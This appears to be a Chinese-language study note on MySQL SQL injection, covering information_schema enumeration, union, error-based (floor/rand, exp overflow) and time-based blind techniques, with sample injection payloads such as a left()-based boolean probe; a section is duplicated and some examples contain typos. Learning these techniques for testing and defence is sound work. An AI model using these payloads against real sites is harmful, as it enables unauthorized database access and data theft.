sql注入的知識筆記

2021-10-08 04:46:24 字數 3594 閱讀 6505

ps:hackbar竟然要付費emmmm,直接又去找了老的2.1.3裝上

一些基礎知識(待補充)

order by x(x為數字)

以第x列的資料為基準進行排序,若不存在該列則報錯

用途:sql注入中常用來判斷表長

2.union select

找到回顯示點

關於原理可以參考

3.information_schema資料庫

mysql自帶資料庫,儲存所有其他資料庫的資訊.如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等

–schemata:提供了當前mysql資料庫中所有資料庫的資訊,其中schema_name字

段儲存了所有的資料庫名.show databases的結果取自此表.

–tables:提供了關於資料庫中的表的資訊,詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊,其中table_name欄位儲存了所有列名資訊,show tables from schemaname的結果取自此表.

–columns:提供了表中的列資訊.詳細表述了某張表的所有列以及每個列的資訊,其中column_name儲存了所有的字段資訊.show columns from

schemaname.tablename的結果取自此表

用途:sql注入中

1)獲取庫名

select schema_name from information_schema.schemata

2)獲取庫中表資訊

select table_name from information_schema.

tables

where table_schema =

'資料庫名'

3)獲取表中列資訊

select column_name from information_schema.

columns

where table_schema=

'sqli'

and table_name=

'user'

sqli庫中的user表頭資訊

4)獲取表中相關列的資訊

select 要獲取的列 from 庫名.表名
注:獲取方式

*後加limit x,y(從第x行開始,顯示接下來y行的資訊)來逐行獲取資訊

*前加group_concat(要顯示的列名)直接顯示出該列下全部資訊

*前加concat_ws('兩列之間關聯的字元',顯示的一列,顯示的另一列)

pl :cincat_ws('-',name,age)

結果為name-age…

4.判斷字串是否相同的函式

left()函式

left(user()

,x)=

'y'

判斷user()的前x位是不是y(y可以為一串字元)

是為1,否為0

regexp函式

user()regexp

'y'

如果user()為y則返回1

否則0like函式

user()regexp

'y%'

同regexp,判斷多出%

5.substr(a,b,c)

1.判斷字串是否相同的函式

left()函式

left(user()

,x)=

'y'

判斷user()的前x位是不是y(y可以為一串字元)

是為1,否為0

regexp函式

user()regexp

'y'

如果user()為y則返回1

否則0like函式

user()regexp

'y%'

同regexp,判斷多出%

2.substr(a,b,c)

將a串從第b位擷取c個位(包括b位)

3.ascii()

字串(最左側字元)轉換為ascii碼

4.floor()

返回括號內向下取整的值

5.count()

有幾種不同的形式

count(column_name)函式返回指定列的值的數目(null 不計入)

count(*)函式返回符合查詢條件的表的記錄數

6.通過floor報錯進行回顯

select count(*) ,concat(要執行的語句,floor(rand(0)*2))x from security.users group by x

原理簡述:因為rand()在括號中輸入任意引數將會每次生成相同的隨機數(偽隨機),rand(0)*2配和floor取整會生成乙個0或1,當group by產生的隨機表中沒有相同的key值時,會再次計算一次floor(rand(0)*2),依次結果為01101,則gourp by第三列的時候第一次為1,計算為0,則報錯回顯、

7.利用left結合頁面正誤結果依次爆庫

例如:

?id=

1' and left(select database(),x)='依位爆出資料庫字段'--+

將x從1開始,根據回顯的正誤找到對應的一位字元,正確後

遞增x繼續

利用exp()函式造成double數值型別超出範圍進行報錯注入

!!!!!

而在mysql>5.5.53時,則不能返回查詢結果!!!!

exp(~(

select

*from

(select

database()

)a))

原理:

(1)mysql exp(x)函式 返回e(自然對數的底)的x次方的值,但是這個數學函式有乙個問題,那就是當傳遞乙個大於709的值時,函式exp()就會引起乙個溢位錯誤。

(2)~表示取反操作,將0按位取反就會返回「18446744073709551615」。再加上函式成功執行後返回0的緣故,我們將成功執行的函式取反就會得到最大的無符號bigint值。

(3)我們通過子查詢與按位求反,造成乙個「double value is out of range」錯誤,並借由此注出資料。

8.(n)函式,n為延時的秒數 例如 用sleep(if((select database()=『要判斷的名字』),5,0))`

有延遲即為判斷正確,根據實際情況可將if()的判斷部分變換使用

注:在實戰中盲注應先判斷長度,個數等,然後再具體爆出名字,手工注入時也可以使用二分法提高效率

sql注入必備知識

原文 mysql常用注釋 mysql認證繞過 mysql連線符 mysql中使用 來進行連線。select from users where username zhangsan and ab a b mysql中常見函式 在進行sql注入過程中,會使用到mysql中的內建函式。在內建函式中,又分為獲...

sql注入準備知識

這篇文章會介紹一些sql注入的準備知識,都是基於mysql資料庫的 sql語言是什麼 一種功能極強的關聯式資料庫標準語言,不需要定義如何訪問資料庫,只需要告訴資料庫要做什麼 sql語言的主要功能 基本資料庫資訊 操作查詢出的資料函式 我初期學習的時候一直感到疑惑的語句,在這裡記錄一下 select ...

sql注入(筆記)

一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...